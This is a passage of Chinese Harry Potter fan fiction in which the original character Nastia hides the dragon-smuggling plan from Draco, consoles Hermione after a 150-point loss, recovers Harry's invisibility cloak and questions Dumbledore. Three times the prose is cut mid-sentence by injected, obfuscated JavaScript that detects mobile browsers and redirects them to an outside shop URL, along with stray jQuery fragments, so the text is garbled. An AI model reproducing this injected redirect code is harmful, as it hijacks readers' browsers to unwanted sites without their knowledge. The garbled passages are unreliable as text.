章 娜斯缇亚通过弗雷德和乔治之前告诉她的密道溜回了地牢。 宵禁时间,公共休息室已经没什么人了。 但娜斯缇亚宁愿整个空间塞满了人,也不愿意看见那个金色的脑袋出现在自己的视线里。 德拉科·马尔福正坐在壁炉旁边,手里捧着一本书。 几乎在石门打开的那一刻,他就扔下书,紧盯着她。 “你去哪了?” 娜斯缇亚很想无视他,但还是回答了这个问题:“厨房。” 可是德拉科走过来,上下打量她几眼后,冷哼一声:“你知道吗,你的头发被火燎着了。” 娜斯缇亚面不改色:“我说了,我从厨房回来。” 德拉科冷笑起来:“别骗人了,那些家养小精灵压根不会让你伤着一根头发。” “……” 他什么时候变得这么聪明了? “你果然什么都知道。我早就说过了,你在骗我。” 他转身往男生寝室的方向走去,脚步踩得“砰砰”响,像一头成年巨龙。 娜斯缇亚觉得他简直莫名其妙。 * 回到寝室,艾丽娅也在,她和杰玛正在复习,见娜斯缇亚进来,却动作一致地放下魔杖。 “刚刚帕金森过来找你借笔记本。”杰玛说。 艾丽娅笑得十分危险:“来吧娜缇,老实交代,你晚上到底去哪里了?” 娜斯缇亚傻眼了。 潘西从来没有主动来找过她。再说了,她的笔记本就放在她们寝室,达芙妮的桌上! 德拉科·马尔福!一准是他在捣鬼! 娜斯缇亚在心里给德拉科施了无数个粉身碎骨咒。 “我去帮弗雷德和乔治熬制药剂了。”她只好这么说。 “我就知道,格兰芬多最擅长做这些让自己陷入险境的事。”艾丽娅嘴上这么说,却还是放了一半的心,“不过还好,至少是那对双胞胎,他们肯定不会让你被费尔奇抓到的。” 娜斯缇亚干笑一声。 她觉得杰玛并没有相信自己的话。 * 洗漱过后,娜斯缇亚带着担忧躺进被子里。 下次再出去肯定没这么容易了。 她不敢想象,要是放任她的三个朋友们晚上在学校里乱走,会发生什么可怕的事情。 娜斯缇亚小心翼翼地撩开帷帐,尽量让自己的声音清晰。 “杰玛,你睡了吗?” 房间很安静,娜斯缇亚只能听见窗外某只动物经过带来的幽微的水流声。 壁炉里燃烧的木柴噼啪作响,就在娜斯缇亚以为对方不打算理自己的时候,对面的帷帐打开了。 娜斯缇亚跳下自己的床,灵活地钻进杰玛的被子里。 “抱歉,杰玛,我下次不会再违反校规了。”娜斯缇亚小声说。 “……你认为我只在意斯莱特林被扣分吗?”杰玛沉默了一会,才说,“我很担心你。” 娜斯缇亚不知该怎么回答这句话。 庞弗雷女士早就告诉过她,那天倒在楼梯上,是杰玛和艾丽娅捡到了自己。 但那件事发生后,杰玛却一次也没和她提起过这件事。 直到今天。 “虽然斯内普教授坚持认为学生们不应该知道太多,但至少你自己应该明白这件事有多严重。”杰玛用气声说,“我想,你和你的朋友发现了四楼走廊的秘密。这是你跟踪奇洛教授的原因吗?” 娜斯缇亚眨了眨眼,说不出话。 “你几乎每晚都做噩梦。我听见你喊他的名字,听到你提起那个咒语……”杰玛察觉到她的惊讶,解释道,“娜缇,也许你比自己想象得还要害怕……钻心咒打在身上的感觉是不是很恐怖?” 娜斯缇亚回想起那一个个梦境,忍不住战栗。 “你能感觉到,”她说,“人的尊严在这个咒语下逐渐丧失。你会感到前所未有的恐惧,会跪在地上会求饶、痛苦流涕,然后把自己蜷成一个熟透的虾子,只为了能好过一点。” “正因为这样,它才被称为不可饶恕咒。”杰玛说。 “我父亲因为夺魂咒而死。他曾是一名记者,有一阵子他一直在外没有消息,某天回到家里,却对着我和母亲举起了魔杖——他胳膊上刻着黑魔标记,母亲为了保护我,不得不用索命咒杀死了他。” “后来……我母亲接受不了真相,亲手了解了自己的生命。” 她们贴得很近。 黑暗中,娜斯缇亚看不清杰玛脸上的表情,却感觉到潮湿的雾气向自己扑面而来。 女孩们拥抱着对方的双臂轻轻颤抖着,像湖底浮动的水草。 “娜缇,既然奇洛已经知道有个人可能察觉到了自己的秘密,你就不能指望他彻底把你给忘了。事实上,我一直觉得他这学期很古怪……你该离他远一点。” 杰玛的手指停留在娜斯缇亚不知何时变得湿漉漉的眼皮上,拨开黏连的睫毛。 有点痒,是的。娜斯缇亚向后躲了躲,轻轻地颤抖着:“唔……没错。” 杰玛轻声在她耳边说:“别再让自己有任何陷入危险的可能,也别再避开人单独行动。告诉我你和那些有勇无谋的格兰芬多不一样。你可是个斯莱特林。” “我会的。” “好了,你现在要回自己的床上,还是和我一起睡一晚?” 娜斯缇亚默默地帮自己掖好被子。 杰玛轻笑一声。 她侧了侧脸,鼻尖瞬间被娜斯缇亚柔软的金色长发淹没:“睡吧。” 杰玛的枕头和被子都散发着淡淡的花香,娜斯缇亚很顺利就进入了睡眠。 一夜无梦。 * 两个好消息,两个坏消息。 好消息是,庞弗雷女士真的没多问罗恩伤口的由来。以及,查理在昨晚回信说愿意收留诺伯。 坏消息是,罗纳德·韦斯莱这个笨蛋昨天晚上没有老实听从建议,一直拖到今天下午才去医疗翼。 以及,德拉科——这个比诺伯还可怕的巨龙,把装着查理回信的书拿走了。 娜斯缇亚的脑袋被这些接连灌进来的消息搞得有些发蒙。 罗恩躺在床上,继续用蚊子哼哼般的声音说:“还有一个好消息……” “说!”因为这一声,娜斯缇亚和赫敏差点被庞弗雷女士赶出去。 好险,那真的是一个好消息。 德拉科拿走的书里夹着娜斯缇亚的萤火虫书签。 他当然不可能知道咒语。 * ——娜斯缇亚原本是这么想的。 就在她绞尽脑汁想要怎么把书从德拉科那里偷回来的时候,周五的魔药课,西奥多居然破天荒提出要和她一组。 “德拉科昨天抱回来一本书,一直在尝试把它打开。” “……” “他猜出来了。抱歉,我想是之前做笔记的时候被他听到了。” 娜斯缇亚感到一阵乌云压顶的绝望。 梅林啊,她居然忘记德拉科和西奥多是室友。 “那个偷听怪,学人精!”娜斯缇亚的杵子在研钵里砸得“梆梆”响。 西奥多看起来很愧疚:“我真的很抱歉。” “西奥,你不用一直道歉,这件事跟你没关系。”说着,娜斯缇亚愤怒地转头瞪了德拉科一眼。 西奥多的心情似乎没有因为这个第一次出现的称呼和这句话变得更好。 “我注意到你的朋友们最近一直在盯着德拉科看。”他一眨也不眨地看着娜斯缇亚,硬生生给她看出了一点负罪感。 “这很难解释……”娜斯缇亚艰难开口,不敢看他的眼睛。 “这是你们之间的秘密,对吗。”西奥多轻声说。 他面色如常,语气却难掩落寞。听完这句话,娜斯缇亚感觉自己的心脏一瞬间就揪了起来。 西奥多·诺特,他真可恶。 可明知道西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521581|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥多是故意的,她还是问出了那句:“我可以信任你吗?” 西奥多没有回答这个问题,只是用那双比天空和海洋还要纯粹的蓝眼睛看着她。 娜斯缇亚心一横,在笔记本上把事情删繁就简地写给西奥多。 她还是第一次看到他脸上出现这种类似于惊诧的表情:“明天晚上?” “我都可以猜到他要做什么了。”娜斯缇亚翻了个白眼。 但她还有兴致开玩笑:“把他打晕怎么样?” “我可以帮你。” “什么?”娜斯缇亚用见鬼的表情看着西奥多。 “就算德拉科去告密,也不一定会有教授信他,除非他能抓你朋友们一个现行。”西奥多面不改色道,“这代表他会在晚上冒着风险跑出去。” “这太蠢了。” 娜斯缇亚没忍住笑了一声,招来斯内普教授不悦的眼神。 她立刻捂住嘴。 而西奥多自然地低下头,不动声色地说:“夜游至少会被扣20分。” “你是在提醒我吗?”娜斯缇亚读懂了他的潜台词。 “我不能去。如果我加入,就意味着我们要找地方汇合,那太麻烦了……再说了,想想我的室友是谁?”她偷偷观察着斯内普教授的动向,飞快地说,“而且,我们不是要一起拖住德拉科吗。” “也是为了你的安全。”西奥多把研钵里碎得不能更彻底的粉末加入坩埚。 也许是药剂忽然沸腾了起来,娜斯缇亚觉得脸颊有些发烫。 但她还是反应迅速地拿起了勺子,顺时针搅拌三圈。 药剂表面升腾起一阵微微发亮的蓝色轻烟。 作为整个教室第一个交上课堂作业的小组,他们顺利为斯莱特林加上了5分。 “和我当搭档也没这么糟,不是吗?”娜斯缇亚碰了碰西奥多的手臂,半开玩笑地问。 “我从来没有这么觉得。”他停下收拾桌子的动作,认真解释道,“我只是……比较习惯自己动手,恰好布雷斯不那么擅长这个。” “这么说,你下节课还要和他一起?”娜斯缇亚觉得自己应该理解,但是她撇了撇嘴。 西奥多沉默了一会。 “也许我们可以再为斯莱特林多加一点分。”他再次开口的时候,似乎刻意避开了身边女孩的视线。 这让娜斯缇亚心情更好。 * 当赫敏得知娜斯缇亚和西奥多的计划时,她似乎恨不得当场唱起歌:“太好了,这样我们就不用担心马尔福了。” 罗恩一惊一乍地嚷了起来:“你把这件事告诉了诺特?这是秘密!还记得吗?” “放心吧,西奥对这种事不感兴趣。”娜斯缇亚说。 “西奥?”罗恩故意学了一声,阴阳怪气。 娜斯缇亚莫名其妙地看了他一眼:“罗纳德,你的大名也不是罗恩,还记得吗?或者你想让我像弗雷德和乔治那样,叫你小罗尼?” “不用了!”罗恩露出一个仿佛被蜜蜂蛰到的表情。 娜斯缇亚似乎看见哈利动了动嘴唇。但他的声音实在太小了,她并没有听清对方说了什么。 她没有在这件事上留意太过,着手策划起明晚的行动方案。 “你们两个明天搬箱子的时候一定要小心。”罗恩心有余悸地摸摸还没好全的手。 “你要是早就听我的话,才不至于把自己搞得这么狼狈,这样说不定还能帮上点忙。”娜斯缇亚停下画地图的笔,毫不客气地说。 “嘿!我怎么能想到一只幼龙就有这么大威力?我还以为是你在小题大做呢!” 娜斯缇亚和赫敏同时朝他翻了一个白眼。 “真希望明天晚上能早点到来。”哈利说。 赫敏严肃地投去一个警告的目光:“我们还有很重的复习任务呢,你们这一章到底背完没?不要忘了,考试迫在眉睫!” 哈利和罗恩齐齐沉默,心如死灰地把脑袋埋进书里。 36.第 36 章 星期六的晚上,娜斯缇亚再次从寝室端出了飞行棋。 德拉科察全身心都在抗拒,但是西奥多只说了一句话,他就在众人的目光中咬紧牙关坐了下来。 “也许,”他说,“德拉科上次输够了。” 德拉科是绝对不会承认自己是因为怕输不加入这场游戏的。他愤恨地从娜斯缇亚的糖罐里拿出一枚糖果,一边剥开,一边咬牙切齿地瞪着他们。 * 今晚的游戏局组得十分失败。 几乎每个人都哈欠连天,克拉布和高尔甚至连一局都没坚持下来,就靠在一起睡着了。 德拉科为了让自己保持清醒,吃了好多糖果,但效果适得其反。 第三局开始的时候,他握着骰子倒在了沙发上。 潘西揉了揉眼睛,探过去看了一眼:“他睡着了。” 娜斯缇亚看了一眼手表。时针已经过了数字10:“那今天先到这里?” 达芙妮巴不得她赶紧说这句话,拉着一步三回头的潘西回了寝室。 “今晚的炉火实在太暖和了……不过真的不下了?好不容易碰上我运气还不错。”布雷斯倒还算清醒,也许是因为他连续赢了两局,忙得没空吃糖。 “明天再玩吧,只有我们三个也没法继续了。”娜斯缇亚状似惋惜地收起棋盘,把骰子从德拉科手里抠下来。 “他们三个怎么办?”她问。 “我最大的仁慈就是回去把毯子给他们拿出来。” 布雷斯说到做到,回寝室拿了三块毯子,扔下就走。 等到最后一个人也离开公共休息室,娜斯缇亚和西奥多对视一眼,走到德拉科面前观察。 “他应该不是在假睡吧。” 见娜斯缇亚一副恨不得扒开德拉科的眼皮检查的样子,西奥多把她往后带了带。 马上就要信里约定的时间了,就算德拉科是装睡,这时候也该按捺不住了。 “一会我会用漂浮咒把他运回去。”西奥多说。 “最好再把门反锁。”娜斯缇亚强调。 她把薄荷糖和牛奶糖从罐子里挑出来,数了数剩下糖果的数量。 “1、2、3……梅林啊他们吃了真不少,效果都可以媲美麻醉剂了。” 说实话,娜斯缇亚有点肉疼。 不过,不知是什么原因,她最近服用助眠糖的频率下降了很多。 在西奥多的建议下,他们留在公共休息室下了一局巫师棋,直到将近一点,确认德拉科依然一动不动,他们才各自回到房间。 额外的棋局耗费了她太多脑力,几乎是刚滚进被窝,她就失去了意识。 * 娜斯缇亚原本以为送走诺伯这件事已经万无一失。 可是第二天午餐的时候,当赫敏他们三个走进礼堂时,斯莱特林长桌爆发出了雷鸣般的掌声。 “嘿!瞧瞧!我们的大恩人来了——谢谢你,波特,你帮了我们一个大忙!”她听见有个高年级这样说。 娜斯缇亚一头雾水,拽住同样难掩笑容的布雷斯:“发生什么事了?” “娜斯缇亚,答应我,下次千万别再错过早餐了,好吗?精彩的事总是在那个时间段发生——你的朋友们给格兰芬多整整扣了150分!”布雷斯实在太高兴了,换做平时,他大概不会把话说的这么直白。 “嘿,达芙妮,别这么瞪着我,我不是在幸灾乐祸,但大家不都很高兴吗,格兰芬多不可能拿下学院杯了,哈哈!” 这下,娜斯缇亚知道为什么自己学院的人都这么兴奋了。 几天前,斯莱特林在魁地奇比赛上输给了拉文克劳院队,这意味着他们今年没机会拿到魁地奇比赛的加分了。 现在最有可能夺冠的格兰芬多一下子丢了150分,就算他们拿到了最终比赛的冠军,也不可能再反超了。 娜斯缇亚做梦也没想到,既让弗林特闭嘴,又让自己学院分数保持第一的,竟然是她的好朋友。 她心中五味杂陈,甚至不记得自己中午都吃进去了什么。 当赫敏他们几个吃饱饭站起来的同时,她立刻跟着跑出了礼堂。 “噢,娜缇,我就知道你会来问的……不过,别在这说。”赫敏就像一株被霜打过的西红柿,每根发丝都缀满了沉甸甸的痛苦和沮丧。 他们一直走到一间没有人的教室。 “你们怎么会被扣了150分?……抱歉,我不是想故意强调这件事,我是说,为什么会是150分?” 赫敏摇摇头,表示自己不介意,但她的语气仍然十分沮丧:“你不会猜到整件事有多么糟糕。” “纳威意外听见马尔福的计划,想要到天文塔来提醒我们……” “我们被麦格教授抓了个正着。”哈利终于忍不住爆发了,“‘我猜你们觉得这很有趣吧?我从来没有像现在这样为格兰芬多的学生感到脸红’——她就不能向斯内普一样对自己学院的学生偏袒一点吗!” 娜斯缇亚有些尴尬,但她知道,哈利说的是实话。 罗恩扯了扯哈利的袍子:“别这样,哈利。嗯……我想再过几个星期,他们就会把这些忘得一干二净的。弗雷德和乔治自从入学以来就一直在丢分,大家照样很喜欢他们。” 娜斯缇亚觉得罗恩这个例子举得特别烂。 至少弗雷德和乔治从来没有因为夜游被抓到过。 一点一点被扣掉50分给人带来的冲击比一下子每人扣掉50分要小得多。 “但他们从来没有一下子丢过150分,是吗?”哈利特别忧伤地说。 看起来罗恩还很想赞同一句,娜斯缇亚赶紧在他开口之前掐了他一把。 罗恩识相地闭上了嘴。 哈利余怒未消。他大声说道:“让魔法石和火龙统统见鬼去吧!我早就该听你和赫敏的——有邓布利多在,我们为什么要担心这么多?尽管交给他们就是了。” “不过,隐身衣……” “问题就出在了这。”罗恩说,“哈利总不能向所有人展示他的这件衣服,可他们也不能就这样把纳威一个人留在那,或者带上他、像无头苍蝇一样在城堡里乱窜。” “是的。”赫敏沮丧地开口,“纳威走出来的时候,我简直吓坏了。麦格教授来得实在太快了,我们还来不及和纳威解释,她就出现在了天文台。而且,她坚信我们想捉弄马尔福,要编出谎话来害他倒霉……” 娜斯缇亚听完这些话,却看着他们,几乎用一种不抱希望的语气问:“事实上,我是想问,你们把隐身衣拿回来了吗?” 一阵诡异的沉默过后,赫敏惊叫一声:“我的天哪!我们怎么会把这件事给忘了……” “这是当然的。从纳威走进来的那一刻,一切就乱套了!”哈利没忍住打断赫敏,气哼哼地说。 梅林啊,他简直气得满脸通红。 “哈利,你总不能把错怪在纳威身上,他不是故意的。他只是想提醒我们。”赫敏扯扯他的袍子。 “我知道!我知道!我没想怪他,也没有当着他的面说……连生气也不行吗?”哈利说完,又烦躁地抓了把头发。 “没有隐身衣,我们现在要怎么上天文塔去?辛尼斯塔教授一眼就会发现我们。” “下周天文课,我会早点去看看……” “可你们的天文课不是周二吗?我敢说,只要有人发现了那件衣服,一定会欣喜若狂地把它捡回去,然后我们这辈子都别想再见到它啦。”罗恩说。 娜斯缇亚仔细地想了一会:“噢,我可以拜托塞德里克。” “你疯了?”罗恩的反应很激烈。 赫敏按住他:“娜缇又不会笨到直接和他说。” “我告诉他有东西落在上面的话,他应该不会多问的。”娜斯缇亚说。 “看起来你身边的每个朋友都具备守口如瓶的美好品质。”罗恩语调十分怪异地说。 赫敏拧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546077|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一把:“不管怎么说,我们现在得先搞定考试的事。去图书馆复习吧。” 图书馆?娜斯缇亚想象了一下那个场景,感到不寒而栗。 毫无疑问,他们会收获一大堆人揶揄的视线洗礼。 “是啊,去图书馆受人敬仰。”哈利说,“现在每个人看我的表情都像是在看分数的小偷——除了斯莱特林。” “噢,没错……”赫敏更沮丧了。 任谁都看得出赫敏因为丢分的事情非常自责,娜斯缇亚赶紧推着她在窗边坐下,自己走到门边施了一个咒语。 虽然有点缺德,但娜斯缇亚想,今天下午这个地方还是没有人进来的好。 教室内的气氛很低迷,娜斯缇亚偷偷看了哈利和赫敏好几次,最后都是以和罗恩对视,无奈摇头收场。 “我发现三年级的课本有一个很有趣的咒语。”她酝酿了很久,才抱着一个笔记本溜到赫敏的座位旁。 “什么?”赫敏尽量挤出一个笑脸,扭过头看着她。 娜斯缇亚在纸上把咒语写下来。 “Gaudio?” “快乐咒。”娜斯缇亚解释道。 “噢,娜缇,我觉得这对我没用。”赫敏沮丧地放下魔杖,“我们的确违反了校规,麦格教授也没有做错。我们应该接受惩罚。” “我真不希望看到你因为那些冷嘲热讽让自己这么难受。你们又不是为了自己才去冒险的!要知道,一只火龙可能为霍格沃茨的所有人带来危害呀。虽然这个原因不能告诉任何人,但我们彼此之间都知道。”娜斯缇亚说。 赫敏擦了擦眼睛。 “想想看,自从入学以来,你给格兰芬多加的分数早就不止50分了,这些他们难道都忘了吗?我敢说格兰芬多能像你一样给学院赚分数的学生不会超过3个。他们凭什么指责你?”娜斯缇亚说着说着,自己倒生起气来。 赫敏终于忍不住“嗤”地笑出声,捏捏她的脸:“你太夸张了,娜缇。我们才一年级,至少那些高年级学生懂得比我们多。” “那你现在就有一个可以超过他们的机会。” “什么?” “一年级就掌握快乐咒。能做到这件事的格兰芬多总不能超过三个了吧。至少我知道珀西就没有。” 赫敏纠结地盯着那页笔记上的咒语。 娜斯缇亚可以保证,她的胜负欲一定被勾起来了。 果然—— “好吧,我试一试。” 毫无疑问,哈利成了她们的实验对象。 也许是太想让他振作起来,赫敏用了100%的努力,终于在他准备去球场之前,成功地使出了这个咒语。 “Gaudio!” 随着咒语被打出,一蹶不振的哈利突然蹦起来,把昏昏欲睡的罗恩吓得差点从椅子上滚了下去。 “哈利?你发什么疯?” 中咒前的哈利简直就是一尊雕塑,两个小时都没有变换任何姿势。 罗恩的表情实在太困惑了,娜斯缇亚忍不住笑了一声。 “哈利,你是不是得去训练了?吃点巧克力再走吧。”她问。 刚刚哈利是怎么回答她的? ——“娜缇,你不用安慰我,就算我们赢了,也拿不了学院杯了。你知道的。” 但是现在,哈利从书里抬起脑袋,眼睛亮亮地看着她。 “我很期待看到你抓住最后一场魁地奇比赛的金色飞贼。”她继续说。 “我不确定……”哈利的耳朵红了。 “我们都相信你。”娜斯缇亚再次把那板塞满了坚果仁的巧克力递过去,“你现在想来一块巧克力吗?补充一点体力。” “哈利,格兰芬多一定会拿到魁地奇杯冠军的!”罗恩接受到信号,也开口鼓励他。 哈利抓起一块巧克力,冲向教室大门。 娜斯缇亚赶紧解除了门锁上的咒语,免得他过于激动把门把手掰下来。 37.第 37 章 周一上午,娜斯缇亚让兔牙给塞德里克送去一张小纸条。 晚餐过后,他们在最高的塔楼见面。 塞德里克已经提前从辛尼斯塔教授那里获得了许可。 那位可爱大方的女士允许他们在课前进去一小会。 “说实在的。我自己都不知道那支笔滚到哪去了……”娜斯缇亚脸不红心不跳地编造着谎话,“你还是在门口等我吧,我找到就出来。” 塞德里克什么也没问。他只是点了点头,然后说:“一会要不要一起去图书馆?” “好的好的。” 娜斯缇亚小跑进天文台,掏出魔杖,走到哈利描述的位置附近,小声念出咒语。 “Accio Invisibility cloak。” 无事发生。 “Accio Invisibility cloak。” “……” 她不相信自己的召唤咒会出问题,但时间紧迫,只好蹲下身,伸手在四处摸了摸。 娜斯缇亚一直从栏杆的这头找到了另一头,依然一无所获。 她只好重新站起来,集中注意力,在脑海里更仔细地想象隐身衣的样子。 “Accio Invisibility cloak!” 四周一片寂静。 ‘也许这件衣服被施了什么咒语,只有哈利本人来才行得通。’娜斯缇亚想。 然而,就在她放弃寻找、准备离开天文塔的时候,银灰色的隐身衣不知从哪个方向飞了进来,直直冲进她的怀里,差点让她撞到墙上。 难道是夜里风太大,从塔顶掉下去了吗? 没时间再猜,娜斯缇亚迅速把它塞进包里,拍了拍门口的塞德里克。 “找到啦,我们走吧。” 就在他们聊着天踏进走廊的那一刻,一旁的石柱忽然闪出一个影子。 “我警告过你们这些小情侣——别总想着跑到塔楼上来。”他脸色阴沉,冷冷地盯着他们。 娜斯缇亚吓了一跳,随后反应过来:“您误会了,先生,我们只是上来找点东西,辛尼斯塔教授允许的。” “辛尼斯塔教授就在办公室里,您可以去问问她。”塞德里克平静地说。 “你以为我会听信你们这些臭小鬼的一面之词?我要亲自向教授确认一下……你们留在这。别想着跑,洛丽丝夫人会立刻找到你们的。我发誓。” 费尔奇是永远也不会轻易相信学生的。 在他眼里,所有学生都是满口谎话、不守规矩的小混蛋。 “啊哈!让我看看——两个不规矩的小鬼约会被抓了!塞德里克·迪戈里,和……你叫什么名字?”费尔奇刚进办公室没多久,娜斯缇亚就听见一个地狱般的声音在身侧响起。 皮皮鬼手里抱着一盒粉笔,不知是从哪个教室偷出来的,此刻正不怀好意地看着他们。 “别以讹传讹,皮皮鬼。小心我找巴罗……” 塞德里克立刻拦住娜斯缇亚:“当心,别和皮皮鬼吵架。” 娜斯缇亚回想起罗恩上次惹怒皮皮鬼的代价,立刻闭上了嘴。 然而皮皮鬼似乎正闲着没事干,见这对年轻的学生对自己视而不见,他立刻想出了新的整蛊方案。 “我在要在这里写点什么——”他作出一副思考的状态。 “塞德里克·迪戈里和金发女孩约会,被老费尔奇抓个正着!哈哈!” 他立刻抓着粉笔在墙壁上龙飞凤舞地写了起来。 “梅林啊——费尔奇先生!”娜斯缇亚高声叫道。 费尔奇来得正及时。 “皮皮鬼!你在干什么!”他大喊一声,向皮皮鬼冲了过去。 皮皮鬼尖叫着把手里的那盒粉笔向前一扔,立刻蹿出去好远,不见了。 费尔奇气得脸都红了,但他追不上皮皮鬼,只好返回来,骂骂咧咧地准备清理墙壁和地面。 “你们两个还站在这干什么?快滚开!”他恶狠狠地瞪着娜斯缇亚和塞德里克,似乎打算把怒火都发泄在他们身上。 “抱歉,我们这就走。”塞德里克说。 “他还倒打一耙起来了。要不是他自作聪明,哪来这么多事?”走进楼道后,娜斯缇亚小声抱怨道。 塞德里克笑了笑:“他毕竟要管着这么大一个城堡。” “可这事有什么大不了的?难道他自己都要守不在走廊施魔法的规矩吗?”娜斯缇亚问。 “这是有原因的。”塞德里克只这么说。 娜斯缇亚认为他应该知道一些什么秘密,但没有追问:“好吧。” * 德拉科这几天又愿意和娜斯缇亚说两句话了。 他不厌其烦地对那晚她和西奥多不让他出门的事表示感谢,假装看不到娜斯缇亚紧紧皱起的眉毛。 娜斯缇亚觉得,再这样下去,不到30岁她的额头就会出现深深的法令纹。 又是用餐时间,斯莱特林的新生们个个愁眉苦脸。 面对故态复萌的德拉科,潘西心力交瘁地扶住额头:“噢,德拉科,别说了……” “打扰你用餐了吗?潘西?真抱歉,我只是想向娜斯缇亚表达感谢。”德拉科阴阳怪气地说。 “不客气,我很高兴能为傻瓜提供一点帮助,免得他害斯莱特林扣分。”娜斯缇亚把最后一口蛋挞塞进嘴里,拎起书包离开礼堂。 娜斯缇亚注意到费尔奇今天的心情特别好。直到赫敏不无悲伤地说,她、哈利和纳威晚上得去门厅那找他。 “这个禁闭非要现在罚不可吗?下周就要考试了!”娜斯缇亚抗议道。 她这周的课后补习都被斯内普教授取消了。 赫敏发愁地长叹了口气。 “希望我们明天还能活着站在你面前。”哈利心如死灰地说。 * 当然,他们第二天都活着站到了娜斯缇亚的面前。 只不过每个人眼睛底下都挂着一层浓浓的乌青色。 甚至罗恩也一样。 “我是不是应该光顾一下弗雷德和乔治的生意,给你们每人买一瓶消除青肿的药剂?他们最近正在到处找试验者。”娜斯缇亚开了个玩笑。 “你不会猜到昨晚有多么惊险!”罗恩说。 他是不是之前也说过这句话? 不等娜斯缇亚仔细回想,他们已经轻车熟路地领着她找到之前的那间教室。 “伏地魔想要回来!”刚锁上门,哈利就急不可耐地开口了。 娜斯缇亚吓了一跳。 罗恩的反应比她更大。 他真的跳了起来:“哈利!真的别再说那个名字了!” 但哈利根本不听他的:“我和纳威亲眼看见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老实说,她现在这样子有点像斯内普教授。 娜斯缇亚冷哼一声。 “我昨天还收到了一张字条,”哈利赶紧学着她平时的样子转移话题,“我敢说,那就是送来隐身衣的人给我的!” “什么字条?” “我们昨天谈话到很晚,等我回到寝室的时候,枕头上放着一张字条,写着‘以防万一’。字体和圣诞节那天的字条一模一样。”他甚至把字条带来了,递到娜斯缇亚的面前。 那是一种很特别的字体,很特别,细长,像一个个套起来的圆圈。 娜斯缇亚呆住了:她只在一个地方见过这种签名。 * 娜斯缇亚一口气冲到三楼的那个石头雕塑前面,气喘吁吁地把蜂蜜公爵糖果店里的品类猜了个遍。 在她灵感枯竭之前,那道石门缓缓打开了。 没有细想,娜斯缇亚踏上旋转楼梯。 在楼梯上升的间隙,她冷静下来,才察觉此举不妥:她只是一个普通的一年级学生,邓布利多教授会愿意搭理自己吗? 娜斯缇亚站在校长办公室的门口,踌躇着。 随着一声响动,大门却自己从里面打开了。 “请进,娜斯缇亚。” 38.第 38 章 面对这场毫无预警的造访,邓布利多教授没有表现出不悦。 他的心情看起来甚至还不错:“我注意到,你似乎迫切地想得到一些答案。当然,我不能让你白跑一趟,对吗?” “教授,您是不是早就知道,奇洛教授在为伏地魔做事?”娜斯缇亚听懂他的暗示,刚坐下,就按捺不住急切地问。 邓布利多教授扶了扶半月形的眼镜:“我很高兴听到你和伊丽莎白都这么称呼他。” 事实上,其实伊丽莎白在女儿面前通常都是用一种轻蔑的态度直呼伏地魔的大名。 “卑鄙的里德尔”——她的原话。 “噢,如果他卷土重来的话,我想我会收敛一点的。”娜斯缇亚轻咳一声。 邓布利多教授微微一笑:“这么说,哈利把自己昨晚在禁林的经历告诉了你们这些朋友们,是吗?” 他看上去似乎挺满意哈利的做法。 “是的,教授。”娜斯缇亚点点头,又忍不住问,“马人们观察到了火星的异常,这是一个危险的信号。但费伦泽救下了哈利,让他幸免遇难。这是不是意味着,之后的命运轨迹也将发生变化?” “别着急,别着急,娜斯缇亚。为什么不尝一尝我为你准备的饮料呢?” 娜斯缇亚这时候才注意到,自己面前摆着一杯热红茶。 而邓布利多教授用一种比红茶还要温和的口吻告诉她:“让我先回答你的第一个问题吧,是的。至于第二个问题,很遗憾,我并不擅长占卜。” 他甚至还开了个玩笑:“等你上了三年级,也许特里劳妮教授能为你解惑。” “教授,我还能再问一个问题吗?”娜斯缇亚喝了一口红茶,问。 邓布利多教授用眼神鼓励她接着问下去。 “在周一晚上之前,哈利的隐身衣都在您这里,对吗?” “完全正确,孩子。这么说,是你用召唤咒把它拿回去了?”邓布利多教授笑眯眯地看着她,“老实说,发现它在抽屉消失的时候,我真是吃惊不小。但我亲自去了一趟哈利的寝室,确定那件衣服真的回到了他的手里。” “是您?” “我曾向詹姆·波特借来了这件隐身衣,用于研究——现在,我把它还给了哈利。” 娜斯缇亚惊讶地瞪大眼睛。 “看起来,你的魔咒学得相当不错,召唤咒可不是一年级的内容啊。”邓布利多教授并不吝啬自己的夸奖,“这点很像伊丽莎白。” “听上去您很熟悉伊莱莎。”娜斯缇亚眨了眨眼睛,“那么教授,您认识我爸爸吗?他的名字是亚伦·奈特。” “当然,”邓布利多教授回答,“亚伦是很优秀的学生,也是一名了不起的巫师。他在上学的时候,几乎和詹姆一样出名。他们的性格也有些相似,因此总是针尖对麦芒。但同时,他们也彼此欣赏。” 娜斯缇亚笑了笑:事实上,她当然知道邓布利多教授认识亚伦,她只是想听别人夸夸他,最好能分享一些她不知道的事情。 但提起亚伦的时候,她很难不再次想起伏地魔,笑容一下子又黯淡了下去。 “伏地魔心狠手辣,他一定会对哈利再次下手的。” 娜斯缇亚想起和他沆瀣一气的奇洛。 